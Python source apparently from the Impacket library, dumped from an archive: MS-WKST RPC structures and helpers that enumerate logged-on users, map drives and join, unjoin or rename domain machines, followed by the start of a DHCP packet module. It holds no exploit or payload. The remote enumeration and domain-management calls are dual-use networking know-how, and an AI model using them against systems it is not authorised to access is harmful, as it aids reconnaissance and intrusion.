100: ('WkstaInfo100', LPWKSTA_INFO_100),
101: ('WkstaInfo101', LPWKSTA_INFO_101),
102: ('WkstaInfo102', LPWKSTA_INFO_102),
502: ('WkstaInfo502', LPWKSTA_INFO_502),
1013: ('WkstaInfo1013', LPWKSTA_INFO_1013),
1018: ('WkstaInfo1018', LPWKSTA_INFO_1018),
1046: ('WkstaInfo1046', LPWKSTA_INFO_1046),
}
class LPWKSTA_INFO(NDRPOINTER):
referent = (
('Data', WKSTA_INFO),
)
# 2.2.5.8 WKSTA_TRANSPORT_INFO_0
class WKSTA_TRANSPORT_INFO_0(NDRSTRUCT):
structure = (
('wkti0_quality_of_service', ULONG),
('wkti0_number_of_vcs', ULONG),
('wkti0_transport_name', LPWSTR),
('wkti0_transport_address', LPWSTR),
('wkti0_wan_ish', ULONG),
)
# 2.2.5.9 WKSTA_USER_INFO_0
class WKSTA_USER_INFO_0(NDRSTRUCT):
structure = (
('wkui0_username', LPWSTR),
)
# 2.2.5.10 WKSTA_USER_INFO_1
class WKSTA_USER_INFO_1(NDRSTRUCT):
structure = (
('wkui1_username', LPWSTR),
('wkui1_logon_domain', LPWSTR),
('wkui1_oth_domains', LPWSTR),
('wkui1_logon_server', LPWSTR),
)
# 2.2.5.11 STAT_WORKSTATION_0
class STAT_WORKSTATION_0(NDRSTRUCT):
structure = (
('StatisticsStartTime', LARGE_INTEGER),
('BytesReceived', LARGE_INTEGER),
('SmbsReceived', LARGE_INTEGER),
('PagingReadBytesRequested', LARGE_INTEGER),
('NonPagingReadBytesRequested', LARGE_INTEGER),
('CacheReadBytesRequested', LARGE_INTEGER),
('NetworkReadBytesRequested', LARGE_INTEGER),
('BytesTransmitted', LARGE_INTEGER),
('SmbsTransmitted', LARGE_INTEGER),
('PagingWriteBytesRequested', LARGE_INTEGER),
('NonPagingWriteBytesRequested', LARGE_INTEGER),
('CacheWriteBytesRequested', LARGE_INTEGER),
('NetworkWriteBytesRequested', LARGE_INTEGER),
('InitiallyFailedOperations', ULONG),
('FailedCompletionOperations', ULONG),
('ReadOperations', ULONG),
('RandomReadOperations', ULONG),
('ReadSmbs', ULONG),
('LargeReadSmbs', ULONG),
('SmallReadSmbs', ULONG),
('WriteOperations', ULONG),
('RandomWriteOperations', ULONG),
('WriteSmbs', ULONG),
('LargeWriteSmbs', ULONG),
('SmallWriteSmbs', ULONG),
('RawReadsDenied', ULONG),
('RawWritesDenied', ULONG),
('NetworkErrors', ULONG),
('Sessions', ULONG),
('FailedSessions', ULONG),
('Reconnects', ULONG),
('CoreConnects', ULONG),
('Lanman20Connects', ULONG),
('Lanman21Connects', ULONG),
('LanmanNtConnects', ULONG),
('ServerDisconnects', ULONG),
('HungSessions', ULONG),
('UseCount', ULONG),
('FailedUseCount', ULONG),
('CurrentCommands', ULONG),
)
class LPSTAT_WORKSTATION_0(NDRPOINTER):
referent = (
('Data', STAT_WORKSTATION_0),
)
# 2.2.5.12 WKSTA_USER_INFO_0_CONTAINER
class WKSTA_USER_INFO_0_ARRAY(NDRUniConformantArray):
item = WKSTA_USER_INFO_0
class LPWKSTA_USER_INFO_0_ARRAY(NDRPOINTER):
referent = (
('Data', WKSTA_USER_INFO_0_ARRAY),
)
class WKSTA_USER_INFO_0_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', ULONG),
('Buffer', LPWKSTA_USER_INFO_0_ARRAY),
)
class LPWKSTA_USER_INFO_0_CONTAINER(NDRPOINTER):
referent = (
('Data', WKSTA_USER_INFO_0_CONTAINER),
)
# 2.2.5.13 WKSTA_USER_INFO_1_CONTAINER
class WKSTA_USER_INFO_1_ARRAY(NDRUniConformantArray):
item = WKSTA_USER_INFO_1
class LPWKSTA_USER_INFO_1_ARRAY(NDRPOINTER):
referent = (
('Data', WKSTA_USER_INFO_1_ARRAY),
)
class WKSTA_USER_INFO_1_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', ULONG),
('Buffer', LPWKSTA_USER_INFO_1_ARRAY),
)
class LPWKSTA_USER_INFO_1_CONTAINER(NDRPOINTER):
referent = (
('Data', WKSTA_USER_INFO_1_CONTAINER),
)
# 2.2.5.14 WKSTA_USER_ENUM_STRUCT
class WKSTA_USER_ENUM_UNION(NDRUNION):
commonHdr = (
('tag', ULONG),
)
union = {
0: ('Level0', LPWKSTA_USER_INFO_0_CONTAINER),
1: ('Level1', LPWKSTA_USER_INFO_1_CONTAINER),
}
class WKSTA_USER_ENUM_STRUCT(NDRSTRUCT):
structure = (
('Level', ULONG),
('WkstaUserInfo', WKSTA_USER_ENUM_UNION),
)
# 2.2.5.15 WKSTA_TRANSPORT_INFO_0_CONTAINER
class WKSTA_TRANSPORT_INFO_0_ARRAY(NDRUniConformantArray):
item = WKSTA_TRANSPORT_INFO_0
class LPWKSTA_TRANSPORT_INFO_0_ARRAY(NDRPOINTER):
referent = (
('Data', WKSTA_TRANSPORT_INFO_0_ARRAY),
)
class WKSTA_TRANSPORT_INFO_0_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', ULONG),
('Buffer', LPWKSTA_TRANSPORT_INFO_0_ARRAY),
)
class LPWKSTA_TRANSPORT_INFO_0_CONTAINER(NDRPOINTER):
referent = (
('Data', WKSTA_TRANSPORT_INFO_0_CONTAINER),
)
# 2.2.5.16 WKSTA_TRANSPORT_ENUM_STRUCT
class WKSTA_TRANSPORT_ENUM_UNION(NDRUNION):
commonHdr = (
('tag', ULONG),
)
union = {
0: ('Level0', LPWKSTA_TRANSPORT_INFO_0_CONTAINER),
}
class WKSTA_TRANSPORT_ENUM_STRUCT(NDRSTRUCT):
structure = (
('Level', ULONG),
('WkstaTransportInfo', WKSTA_TRANSPORT_ENUM_UNION),
)
# 2.2.5.17 JOINPR_USER_PASSWORD
class WCHAR_ARRAY(WIDESTR):
def getDataLen(self, data):
return JOIN_MAX_PASSWORD_LENGTH
class CHAR_ARRAY(NDRUniFixedArray):
def getDataLen(self, data):
return JOIN_OBFUSCATOR_LENGTH
class JOINPR_USER_PASSWORD(NDRSTRUCT):
structure = (
('Obfuscator', CHAR_ARRAY),
('Buffer', WCHAR_ARRAY),
)
# 2.2.5.18 JOINPR_ENCRYPTED_USER_PASSWORD
class JOINPR_ENCRYPTED_USER_PASSWORD(NDRSTRUCT):
structure = (
('Buffer', '524s=""'),
)
def getAlignment(self):
return 1
class PJOINPR_ENCRYPTED_USER_PASSWORD(NDRPOINTER):
referent = (
('Data', JOINPR_ENCRYPTED_USER_PASSWORD),
)
# 2.2.5.19 UNICODE_STRING
UNICODE_STRING = WSTR
class PUNICODE_STRING(NDRPOINTER):
referent = (
('Data', UNICODE_STRING),
)
# 2.2.5.20 NET_COMPUTER_NAME_ARRAY
class UNICODE_STRING_ARRAY(NDRUniConformantArray):
item = RPC_UNICODE_STRING
class PUNICODE_STRING_ARRAY(NDRPOINTER):
referent = (
('Data', UNICODE_STRING_ARRAY),
)
class NET_COMPUTER_NAME_ARRAY(NDRSTRUCT):
structure = (
('EntriesRead', ULONG),
('ComputerNames', PUNICODE_STRING_ARRAY),
)
class PNET_COMPUTER_NAME_ARRAY(NDRPOINTER):
referent = (
('Data', NET_COMPUTER_NAME_ARRAY),
)
# 2.2.5.21 USE_INFO_0
class USE_INFO_0(NDRSTRUCT):
structure = (
('ui0_local', LPWSTR),
('ui0_remote', LPWSTR),
)
class LPUSE_INFO_0(NDRPOINTER):
referent = (
('Data', USE_INFO_0),
)
# 2.2.5.22 USE_INFO_1
class USE_INFO_1(NDRSTRUCT):
structure = (
('ui1_local', LPWSTR),
('ui1_remote', LPWSTR),
('ui1_password', LPWSTR),
('ui1_status', ULONG),
('ui1_asg_type', ULONG),
('ui1_refcount', ULONG),
('ui1_usecount', ULONG),
)
class LPUSE_INFO_1(NDRPOINTER):
referent = (
('Data', USE_INFO_1),
)
# 2.2.5.23 USE_INFO_2
class USE_INFO_2(NDRSTRUCT):
structure = (
('ui2_useinfo', USE_INFO_1),
('ui2_username', LPWSTR),
('ui2_domainname', LPWSTR),
)
class LPUSE_INFO_2(NDRPOINTER):
referent = (
('Data', USE_INFO_2),
)
# 2.2.5.24 USE_INFO_3
class USE_INFO_3(NDRSTRUCT):
structure = (
('ui3_ui2', USE_INFO_2),
('ui3_flags', ULONG),
)
class LPUSE_INFO_3(NDRPOINTER):
referent = (
('Data', USE_INFO_3),
)
# 2.2.4.2 USE_INFO
class USE_INFO(NDRUNION):
commonHdr = (
('tag', ULONG),
)
union = {
0: ('UseInfo0', LPUSE_INFO_0),
1: ('UseInfo1', LPUSE_INFO_1),
2: ('UseInfo2', LPUSE_INFO_2),
3: ('UseInfo3', LPUSE_INFO_3),
}
# 2.2.5.25 USE_INFO_0_CONTAINER
class USE_INFO_0_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', ULONG),
('Buffer', LPUSE_INFO_0),
)
class LPUSE_INFO_0_CONTAINER(NDRPOINTER):
referent = (
('Data', USE_INFO_0_CONTAINER),
)
# 2.2.5.26 USE_INFO_1_CONTAINER
class USE_INFO_1_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', ULONG),
('Buffer', LPUSE_INFO_1),
)
class LPUSE_INFO_1_CONTAINER(NDRPOINTER):
referent = (
('Data', USE_INFO_1_CONTAINER),
)
# 2.2.5.27 USE_INFO_2_CONTAINER
class USE_INFO_2_CONTAINER(NDRSTRUCT):
structure = (
('EntriesRead', ULONG),
('Buffer', LPUSE_INFO_2),
)
class LPUSE_INFO_2_CONTAINER(NDRPOINTER):
referent = (
('Data', USE_INFO_2_CONTAINER),
)
# 2.2.5.28 USE_ENUM_STRUCT
class USE_ENUM_UNION(NDRUNION):
commonHdr = (
('tag', ULONG),
)
union = {
0: ('Level0', LPUSE_INFO_0_CONTAINER),
1: ('Level1', LPUSE_INFO_1_CONTAINER),
2: ('Level2', LPUSE_INFO_2_CONTAINER),
}
class USE_ENUM_STRUCT(NDRSTRUCT):
structure = (
('Level', ULONG),
('UseInfo', USE_ENUM_UNION),
)
################################################################################
# RPC CALLS
################################################################################
# 3.2.4.1 NetrWkstaGetInfo (Opnum 0)
class NetrWkstaGetInfo(NDRCALL):
opnum = 0
structure = (
('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
('Level', ULONG),
)
class NetrWkstaGetInfoResponse(NDRCALL):
structure = (
('WkstaInfo',WKSTA_INFO),
('ErrorCode',ULONG),
)
# 3.2.4.2 NetrWkstaSetInfo (Opnum 1)
class NetrWkstaSetInfo(NDRCALL):
opnum = 1
structure = (
('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
('Level', ULONG),
('WkstaInfo',WKSTA_INFO),
('ErrorParameter',LPULONG),
)
class NetrWkstaSetInfoResponse(NDRCALL):
structure = (
('ErrorParameter',LPULONG),
('ErrorCode',ULONG),
)
# 3.2.4.3 NetrWkstaUserEnum (Opnum 2)
class NetrWkstaUserEnum(NDRCALL):
opnum = 2
structure = (
('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
('UserInfo', WKSTA_USER_ENUM_STRUCT),
('PreferredMaximumLength', ULONG),
('ResumeHandle', LPULONG),
)
class NetrWkstaUserEnumResponse(NDRCALL):
structure = (
('UserInfo',WKSTA_USER_ENUM_STRUCT),
('TotalEntries',ULONG),
('ResumeHandle',ULONG),
('ErrorCode',ULONG),
)
# 3.2.4.4 NetrWkstaTransportEnum (Opnum 5)
class NetrWkstaTransportEnum(NDRCALL):
opnum = 5
structure = (
('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
('TransportInfo', WKSTA_TRANSPORT_ENUM_STRUCT),
('PreferredMaximumLength', ULONG),
('ResumeHandle', LPULONG),
)
class NetrWkstaTransportEnumResponse(NDRCALL):
structure = (
('TransportInfo',WKSTA_TRANSPORT_ENUM_STRUCT),
('TotalEntries',ULONG),
('ResumeHandle',ULONG),
('ErrorCode',ULONG),
)
# 3.2.4.5 NetrWkstaTransportAdd (Opnum 6)
class NetrWkstaTransportAdd(NDRCALL):
opnum = 6
structure = (
('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
('Level', ULONG),
('TransportInfo',WKSTA_TRANSPORT_INFO_0),
('ErrorParameter',LPULONG),
)
class NetrWkstaTransportAddResponse(NDRCALL):
structure = (
('ErrorParameter',LPULONG),
('ErrorCode',ULONG),
)
# 3.2.4.7 NetrUseAdd (Opnum 8)
class NetrUseAdd(NDRCALL):
opnum = 8
structure = (
('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
('Level', ULONG),
('InfoStruct',USE_INFO),
('ErrorParameter',LPULONG),
)
class NetrUseAddResponse(NDRCALL):
structure = (
('ErrorParameter',LPULONG),
('ErrorCode',ULONG),
)
# 3.2.4.8 NetrUseGetInfo (Opnum 9)
class NetrUseGetInfo(NDRCALL):
opnum = 9
structure = (
('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
('UseName', WSTR),
('Level',ULONG),
)
class NetrUseGetInfoResponse(NDRCALL):
structure = (
('InfoStruct',USE_INFO),
('ErrorCode',ULONG),
)
# 3.2.4.9 NetrUseDel (Opnum 10)
class NetrUseDel(NDRCALL):
opnum = 10
structure = (
('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
('UseName', WSTR),
('ForceLevel',ULONG),
)
class NetrUseDelResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.4.10 NetrUseEnum (Opnum 11)
class NetrUseEnum(NDRCALL):
opnum = 11
structure = (
('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
('InfoStruct', USE_ENUM_STRUCT),
('PreferredMaximumLength',ULONG),
('ResumeHandle',LPULONG),
)
class NetrUseEnumResponse(NDRCALL):
structure = (
('InfoStruct',USE_ENUM_STRUCT),
('TotalEntries',ULONG),
('ResumeHandle',LPULONG),
('ErrorCode',ULONG),
)
# 3.2.4.11 NetrWorkstationStatisticsGet (Opnum 13)
class NetrWorkstationStatisticsGet(NDRCALL):
opnum = 13
structure = (
('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
('ServiceName', LPWSTR),
('Level',ULONG),
('Options',ULONG),
)
class NetrWorkstationStatisticsGetResponse(NDRCALL):
structure = (
('Buffer',LPSTAT_WORKSTATION_0),
('ErrorCode',ULONG),
)
# 3.2.4.12 NetrGetJoinInformation (Opnum 20)
class NetrGetJoinInformation(NDRCALL):
opnum = 20
structure = (
('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
('NameBuffer', LPWSTR),
)
class NetrGetJoinInformationResponse(NDRCALL):
structure = (
('NameBuffer',LPWSTR),
('BufferType',NETSETUP_JOIN_STATUS),
('ErrorCode',ULONG),
)
# 3.2.4.13 NetrJoinDomain2 (Opnum 22)
class NetrJoinDomain2(NDRCALL):
opnum = 22
structure = (
('ServerName', LPWSTR),
('DomainNameParam', WSTR),
('MachineAccountOU', LPWSTR),
('AccountName', LPWSTR),
('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
('Options', ULONG),
)
class NetrJoinDomain2Response(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.4.14 NetrUnjoinDomain2 (Opnum 23)
class NetrUnjoinDomain2(NDRCALL):
opnum = 23
structure = (
('ServerName', LPWSTR),
('AccountName', LPWSTR),
('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
('Options', ULONG),
)
class NetrUnjoinDomain2Response(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.4.15 NetrRenameMachineInDomain2 (Opnum 24)
class NetrRenameMachineInDomain2(NDRCALL):
opnum = 24
structure = (
('ServerName', LPWSTR),
('MachineName', LPWSTR),
('AccountName', LPWSTR),
('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
('Options', ULONG),
)
class NetrRenameMachineInDomain2Response(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.4.16 NetrValidateName2 (Opnum 25)
class NetrValidateName2(NDRCALL):
opnum = 25
structure = (
('ServerName', LPWSTR),
('NameToValidate', WSTR),
('AccountName', LPWSTR),
('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
('NameType', NETSETUP_NAME_TYPE),
)
class NetrValidateName2Response(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.4.17 NetrGetJoinableOUs2 (Opnum 26)
class NetrGetJoinableOUs2(NDRCALL):
opnum = 26
structure = (
('ServerName', LPWSTR),
('DomainNameParam', WSTR),
('AccountName', LPWSTR),
('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
('OUCount', ULONG),
)
class NetrGetJoinableOUs2Response(NDRCALL):
structure = (
('OUCount', LPLONG),
('OUs',PUNICODE_STRING_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.4.18 NetrAddAlternateComputerName (Opnum 27)
class NetrAddAlternateComputerName(NDRCALL):
opnum = 27
structure = (
('ServerName', LPWSTR),
('AlternateName', LPWSTR),
('DomainAccount', LPWSTR),
('EncryptedPassword', PJOINPR_ENCRYPTED_USER_PASSWORD),
('Reserved', ULONG),
)
class NetrAddAlternateComputerNameResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.4.19 NetrRemoveAlternateComputerName (Opnum 28)
class NetrRemoveAlternateComputerName(NDRCALL):
opnum = 28
structure = (
('ServerName', LPWSTR),
('AlternateName', LPWSTR),
('DomainAccount', LPWSTR),
('EncryptedPassword', PJOINPR_ENCRYPTED_USER_PASSWORD),
('Reserved', ULONG),
)
class NetrRemoveAlternateComputerNameResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.4.20 NetrSetPrimaryComputerName (Opnum 29)
class NetrSetPrimaryComputerName(NDRCALL):
opnum = 29
structure = (
('ServerName', LPWSTR),
('PrimaryName', LPWSTR),
('DomainAccount', LPWSTR),
('EncryptedPassword', PJOINPR_ENCRYPTED_USER_PASSWORD),
('Reserved', ULONG),
)
class NetrSetPrimaryComputerNameResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.4.21 NetrEnumerateComputerNames (Opnum 30)
class NetrEnumerateComputerNames(NDRCALL):
opnum = 30
structure = (
('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
('NameType', NET_COMPUTER_NAME_TYPE),
('Reserved', ULONG),
)
class NetrEnumerateComputerNamesResponse(NDRCALL):
structure = (
('ComputerNames',PNET_COMPUTER_NAME_ARRAY),
('ErrorCode',ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (NetrWkstaGetInfo, NetrWkstaGetInfoResponse),
1 : (NetrWkstaSetInfo, NetrWkstaSetInfoResponse),
2 : (NetrWkstaUserEnum, NetrWkstaUserEnumResponse),
5 : (NetrWkstaTransportEnum, NetrWkstaTransportEnumResponse),
6 : (NetrWkstaTransportAdd, NetrWkstaTransportAddResponse),
# 7 : (NetrWkstaTransportDel, NetrWkstaTransportDelResponse),
8 : (NetrUseAdd, NetrUseAddResponse),
9 : (NetrUseGetInfo, NetrUseGetInfoResponse),
10 : (NetrUseDel, NetrUseDelResponse),
11 : (NetrUseEnum, NetrUseEnumResponse),
13 : (NetrWorkstationStatisticsGet, NetrWorkstationStatisticsGetResponse),
20 : (NetrGetJoinInformation, NetrGetJoinInformationResponse),
22 : (NetrJoinDomain2, NetrJoinDomain2Response),
23 : (NetrUnjoinDomain2, NetrUnjoinDomain2Response),
24 : (NetrRenameMachineInDomain2, NetrRenameMachineInDomain2Response),
25 : (NetrValidateName2, NetrValidateName2Response),
26 : (NetrGetJoinableOUs2, NetrGetJoinableOUs2Response),
27 : (NetrAddAlternateComputerName, NetrAddAlternateComputerNameResponse),
28 : (NetrRemoveAlternateComputerName, NetrRemoveAlternateComputerNameResponse),
29 : (NetrSetPrimaryComputerName, NetrSetPrimaryComputerNameResponse),
30 : (NetrEnumerateComputerNames, NetrEnumerateComputerNamesResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
def hNetrWkstaGetInfo(dce, level):
request = NetrWkstaGetInfo()
request['ServerName'] = '\x00'*10
request['Level'] = level
return dce.request(request)
def hNetrWkstaUserEnum(dce, level, preferredMaximumLength=0xffffffff):
request = NetrWkstaUserEnum()
request['ServerName'] = '\x00'*10
request['UserInfo']['Level'] = level
request['UserInfo']['WkstaUserInfo']['tag'] = level
request['PreferredMaximumLength'] = preferredMaximumLength
return dce.request(request)
def hNetrWkstaTransportEnum(dce, level, resumeHandle = 0, preferredMaximumLength = 0xffffffff):
request = NetrWkstaTransportEnum()
request['ServerName'] = '\x00'*10
request['TransportInfo']['Level'] = level
request['TransportInfo']['WkstaTransportInfo']['tag'] = level
request['ResumeHandle'] = resumeHandle
request['PreferredMaximumLength'] = preferredMaximumLength
return dce.request(request)
def hNetrWkstaSetInfo(dce, level, wkstInfo):
request = NetrWkstaSetInfo()
request['ServerName'] = '\x00'*10
request['Level'] = level
request['WkstaInfo']['tag'] = level
request['WkstaInfo']['WkstaInfo%d'% level] = wkstInfo
return dce.request(request)
def hNetrWorkstationStatisticsGet(dce, serviceName, level, options):
request = NetrWorkstationStatisticsGet()
request['ServerName'] = '\x00'*10
request['ServiceName'] = serviceName
request['Level'] = level
request['Options'] = options
return dce.request(request)
def hNetrGetJoinInformation(dce, nameBuffer):
request = NetrGetJoinInformation()
request['ServerName'] = '\x00'*10
request['NameBuffer'] = nameBuffer
return dce.request(request)
def hNetrJoinDomain2(dce, domainNameParam, machineAccountOU, accountName, password, options):
request = NetrJoinDomain2()
request['ServerName'] = '\x00'*10
request['DomainNameParam'] = checkNullString(domainNameParam)
request['MachineAccountOU'] = checkNullString(machineAccountOU)
request['AccountName'] = checkNullString(accountName)
if password == NULL:
request['Password'] = NULL
else:
request['Password']['Buffer'] = password
request['Options'] = options
return dce.request(request)
def hNetrUnjoinDomain2(dce, accountName, password, options):
request = NetrUnjoinDomain2()
request['ServerName'] = '\x00'*10
request['AccountName'] = checkNullString(accountName)
if password == NULL:
request['Password'] = NULL
else:
request['Password']['Buffer'] = password
request['Options'] = options
return dce.request(request)
def hNetrRenameMachineInDomain2(dce, machineName, accountName, password, options):
request = NetrRenameMachineInDomain2()
request['ServerName'] = '\x00'*10
request['MachineName'] = checkNullString(machineName)
request['AccountName'] = checkNullString(accountName)
if password == NULL:
request['Password'] = NULL
else:
request['Password']['Buffer'] = password
request['Options'] = options
return dce.request(request)
def hNetrValidateName2(dce, nameToValidate, accountName, password, nameType):
request = NetrValidateName2()
request['ServerName'] = '\x00'*10
request['NameToValidate'] = checkNullString(nameToValidate)
request['AccountName'] = checkNullString(accountName)
if password == NULL:
request['Password'] = NULL
else:
request['Password']['Buffer'] = password
request['NameType'] = nameType
return dce.request(request)
def hNetrGetJoinableOUs2(dce, domainNameParam, accountName, password, OUCount):
request = NetrGetJoinableOUs2()
request['ServerName'] = '\x00'*10
request['DomainNameParam'] = checkNullString(domainNameParam)
request['AccountName'] = checkNullString(accountName)
if password == NULL:
request['Password'] = NULL
else:
request['Password']['Buffer'] = password
request['OUCount'] = OUCount
return dce.request(request)
def hNetrAddAlternateComputerName(dce, alternateName, domainAccount, encryptedPassword):
request = NetrAddAlternateComputerName()
request['ServerName'] = '\x00'*10
request['AlternateName'] = checkNullString(alternateName)
request['DomainAccount'] = checkNullString(domainAccount)
if encryptedPassword == NULL:
request['EncryptedPassword'] = NULL
else:
request['EncryptedPassword']['Buffer'] = encryptedPassword
return dce.request(request)
def hNetrRemoveAlternateComputerName(dce, alternateName, domainAccount, encryptedPassword):
request = NetrRemoveAlternateComputerName()
request['ServerName'] = '\x00'*10
request['AlternateName'] = checkNullString(alternateName)
request['DomainAccount'] = checkNullString(domainAccount)
if encryptedPassword == NULL:
request['EncryptedPassword'] = NULL
else:
request['EncryptedPassword']['Buffer'] = encryptedPassword
return dce.request(request)
def hNetrSetPrimaryComputerName(dce, primaryName, domainAccount, encryptedPassword):
request = NetrSetPrimaryComputerName()
request['ServerName'] = '\x00'*10
request['PrimaryName'] = checkNullString(primaryName)
request['DomainAccount'] = checkNullString(domainAccount)
if encryptedPassword == NULL:
request['EncryptedPassword'] = NULL
else:
request['EncryptedPassword']['Buffer'] = encryptedPassword
return dce.request(request)
def hNetrEnumerateComputerNames(dce, nameType):
request = NetrEnumerateComputerNames()
request['ServerName'] = '\x00'*10
request['NameType'] = nameType
return dce.request(request)
def hNetrUseAdd(dce, level, infoStruct):
request = NetrUseAdd()
request['ServerName'] = '\x00'*10
request['Level'] = level
request['InfoStruct']['tag'] = level
request['InfoStruct']['UseInfo%d' % level] = infoStruct
return dce.request(request)
def hNetrUseEnum(dce, level, resumeHandle = 0, preferredMaximumLength = 0xffffffff):
request = NetrUseEnum()
request['ServerName'] = '\x00'*10
request['InfoStruct']['Level'] = level
request['InfoStruct']['UseInfo']['tag'] = level
request['InfoStruct']['UseInfo']['Level%d'%level]['Buffer'] = NULL
request['PreferredMaximumLength'] = preferredMaximumLength
request['ResumeHandle'] = resumeHandle
return dce.request(request)
def hNetrUseGetInfo(dce, useName, level):
request = NetrUseGetInfo()
request['ServerName'] = '\x00'*10
request['UseName'] = checkNullString(useName)
request['Level'] = level
return dce.request(request)
def hNetrUseDel(dce, useName, forceLevel=USE_LOTS_OF_FORCE):
request = NetrUseDel()
request['ServerName'] = '\x00'*10
request['UseName'] = checkNullString(useName)
request['ForceLevel'] = forceLevel
return dce.request(request)
impacket-0.9.15/impacket/dhcp.py 0000600 0000765 0000000 00000020411 12734531507 016534 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import pcapy
import socket
import time
from random import randint
from impacket import structure, ImpactDecoder
class BootpPacket(structure.Structure):
commonHdr = (
('op','b'),
('htype','b=1'), # 1 = Ether
('hlen','b=len(chaddr)'),
('hops','b=0'),
('xid','!L=0'),
('secs','!H=0'),
('flags','!H=0'),
('ciaddr','!L=0'),
('yiaddr','!L=0'),
('siaddr','!L=0'),
('giaddr','!L=0'),
('_chaddr','16s=chaddr'),
('chaddr','_','_chaddr[:hlen]'),
('sname','64s=""'),
('file','128s=""'))
#def __init__(self, data = None, alignment = 0):
# structure.Structure.__init__(self, data, alignment)
class DhcpPacket(BootpPacket):
# DHCP: http://www.faqs.org/rfcs/rfc2131.html
# DHCP Options: http://www.faqs.org/rfcs/rfc1533.html
# good list of options: http://www.networksorcery.com/enp/protocol/bootp/options.htm
BOOTREQUEST = 1
BOOTREPLY = 2
DHCPDISCOVER= 1
DHCPOFFER = 2
DHCPREQUEST = 3
DHCPDECLINE = 4
DHCPACK = 5
DHCPNAK = 6
DHCPRELEASE = 7
DHCPINFORM = 8
options = {
# 3. Vendor Extensions
'pad':(0,'_'),
'subnet-mask':(1,'!L'),
'time-offset':(2,'!L'),
'router':(3,'*!L'),
'time-server':(4,'*!L'),
'name-server':(5,'*!L'),
'domain-name-server':(6,'*!L'),
'log-server':(7,'*!L'),
'cookie-server':(8,'*!L'),
'lpr-server':(9,'*!L'),
'impress-server':(10,'*!L'),
'resource-locator-server':(11,'*!L'),
'host-name':(12,':'),
'boot-file-size':(13,'!H'),
'merit-dump-file':(14,':'),
'domain-name':(15,':'),
'swap-server':(16,':'),
'root-path':(17,':'),
'extensions-path':(18,':'),
# 4. IP Layer Parameters per Host
'ip-forwarding':(19,'B'),
'non-local-source-routing':(20,'B'),
'policy-filter':(21,'*!L'),
'maximum-datagram-reassembly-size':(22,'!H'),
'default-ip-ttl':(23,'B'),
'path-mtu-aging-timeout':(24,'!L'),
'path-mtu-plateau-table':(25,'*!H'),
# 5. IP Layer Parameters per Interface
'interface-mtu':(26,'!H'),
'all-subnets-are-local':(27,'B'),
'broadcast-address':(28,'!L'),
'perform-mask-discovery':(29,'B'),
'mask-supplier':(30,'B'),
'perform-router-discovery':(31,'B'),
'router-solicitation-address':(32,'!L'),
'static-route':(33,'*!L'),
# 6. Link Layer Parameters per Interface
'trailer-encapsulation':(34,'B'),
'arp-cache-timeout':(35,'!L'),
'ethernet-encapsulation':(36,'B'),
# 7. TCP parameters
'tcp-default-ttl':(37,'B'),
'tcp-keepalive-interval':(38,'!L'),
'tcp-keepalive-garbage':(39,'B'),
# 8. Application and Service parameters
'nis-domain':(40,':'),
'nis-servers':(41,'*!L'),
'ntp-servers':(42,'*!L'),
'vendor-specific':(43,':'),
'netbios-name-server':(44,'*!L'),
'netbios-datagrame-distribution-server':(45,'*!L'),
'netbios-node-type':(46,'B'),
'netbios-scope':(47,':'),
'x11-font-server':(48,'*!L'),
'x11-display-manager':(49,'*!L'),
# 9. DHCP Extensions
'requested-ip':(50,'!L'),
'lease-time':(51,'!L'),
'option-overload':(52,'B'),
'message-type':(53,'B'),
'server-id':(54,'!L'),
'parameter-request-list':(55,':'),
'message':(56,':'),
'maximum-dhcp-message-size':(57,'!H'),
'renewal-time':(58,'!L'),
'rebinding-time':(59,'!L'),
'vendor-class':(60,':'),
'client-id':(61,':'),
# other non-rfc1533 options
'slp-directory-agent':(78,':'), # http://www.ietf.org/rfc/rfc2610.txt
'slp-service-scope':(79,':'), # http://www.ietf.org/rfc/rfc2610.txt
'fully-qualified-domain-name':(81,':'), # http://www.ietf.org/rfc/rfc4702.txt
'auto-configuration':(116,'B'), # http://www.ietf.org/rfc/rfc2563.txt
'domain-search-list':(119,'B'), # http://www.ietf.org/rfc/rfc3397.txt
'classless-route-121':(121, ':'), # http://www.ietf.org/rfc/rfc3442.txt
'classless-route-249':(249, ':'), # http://support.microsoft.com/kb/121005
'proxy-autoconfig':(252,':'),
'eof':(255,'_'),
}
structure = (
('cookie','!L'),
('_options',':=self.packOptions(options)'),
('options','_','self.unpackOptions(_options)'))
